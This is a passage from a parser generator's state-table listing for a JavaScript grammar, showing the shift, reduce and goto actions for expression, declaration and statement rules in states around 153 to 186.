96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 268 - -state 154 - - 115) AdditiveExprNoBF : AdditiveExprNoBF "-" _ MultiplicativeExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 269 - -state 155 - - 121) ShiftExprNoBF : ShiftExprNoBF LSHIFT _ AdditiveExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 270 - -state 156 - - 122) ShiftExprNoBF : ShiftExprNoBF RSHIFT _ AdditiveExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 271 - -state 157 - - 123) ShiftExprNoBF : ShiftExprNoBF URSHIFT _ AdditiveExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 272 - -state 158 - - 138) RelationalExprNoBF : RelationalExprNoBF "<" _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 273 - -state 159 - - 139) RelationalExprNoBF : RelationalExprNoBF ">" _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 274 - -state 160 - - 140) RelationalExprNoBF : RelationalExprNoBF LE _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 275 - -state 161 - - 141) RelationalExprNoBF : RelationalExprNoBF GE _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 276 - -state 162 - - 142) RelationalExprNoBF : RelationalExprNoBF INSTANCEOF _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 277 - -state 163 - - 143) RelationalExprNoBF : RelationalExprNoBF IN _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 278 - -state 164 - - 155) EqualityExprNoBF : EqualityExprNoBF EQEQ _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 279 - -state 165 - - 156) EqualityExprNoBF : EqualityExprNoBF NE _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 280 - -state 166 - - 157) EqualityExprNoBF : EqualityExprNoBF STREQ _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 281 - -state 167 - - 158) EqualityExprNoBF : EqualityExprNoBF STRNEQ _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 282 - -state 168 - - 164) BitwiseANDExprNoBF : BitwiseANDExprNoBF "&" _ EqualityExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 283 - -state 169 - - 170) BitwiseXORExprNoBF : BitwiseXORExprNoBF "^" _ BitwiseANDExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 284 - -state 170 - - 176) BitwiseORExprNoBF : BitwiseORExprNoBF "|" _ BitwiseXORExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 285 - -state 171 - - 182) LogicalANDExprNoBF : LogicalANDExprNoBF AND _ BitwiseORExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 286 - -state 172 - - 188) LogicalORExprNoBF : LogicalORExprNoBF OR _ LogicalANDExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 287 - -state 173 - - 194) ConditionalExprNoBF : LogicalORExprNoBF "?" _ AssignmentExpr ":" AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - AssignmentExpr go to state 288 - ConditionalExpr go to state 109 - -state 174 - - 218) ExprNoBF : ExprNoBF "," _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 289 - -state 175 - - 239) ExprStatement : ExprNoBF ";" _ - - $default reduce using rule 239 (ExprStatement) - - -state 176 - - 240) ExprStatement : ExprNoBF error _ - - $default reduce using rule 240 (ExprStatement) - - -state 177 - - 219) Block : "{" SourceElements _ "}" - - "}" shift, and go to state 290 - - -state 178 - - 220) VariableStatement : VAR VariableDeclarationList _ ";" - 221) VariableStatement : VAR VariableDeclarationList _ error - 223) VariableDeclarationList : VariableDeclarationList _ "," VariableDeclaration - - error shift, and go to state 292 - "," shift, and go to state 293 - ";" shift, and go to state 291 - - -state 179 - - 222) VariableDeclarationList : VariableDeclaration _ - - $default reduce using rule 222 (VariableDeclarationList) - - -state 180 - - 226) VariableDeclaration : IDENT _ - 227) VariableDeclaration : IDENT _ Initializer - - "=" shift, and go to state 295 - $default reduce using rule 226 (VariableDeclaration) - - Initializer go to state 294 - -state 181 - - 230) ConstStatement : CONST ConstDeclarationList _ ";" - 231) ConstStatement : CONST ConstDeclarationList _ error - 233) ConstDeclarationList : ConstDeclarationList _ "," ConstDeclaration - - error shift, and go to state 297 - "," shift, and go to state 298 - ";" shift, and go to state 296 - - -state 182 - - 232) ConstDeclarationList : ConstDeclaration _ - - $default reduce using rule 232 (ConstDeclarationList) - - -state 183 - - 234) ConstDeclaration : IDENT _ - 235) ConstDeclaration : IDENT _ Initializer - - "=" shift, and go to state 295 - $default reduce using rule 234 (ConstDeclaration) - - Initializer go to state 299 - -state 184 - - 241) IfStatement : IF "(" _ Expr ")" Statement - 242) IfStatement : IF "(" _ Expr ")" Statement ELSE Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 300 - -state 185 - - 243) IterationStatement : DO Statement _ WHILE "(" Expr ")" ";" - 244) IterationStatement : DO Statement _ WHILE "(" Expr ")" error - - WHILE shift, and go to state 301 - - -state 186 - - 245) IterationStatement : WHILE "(" _ Expr ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 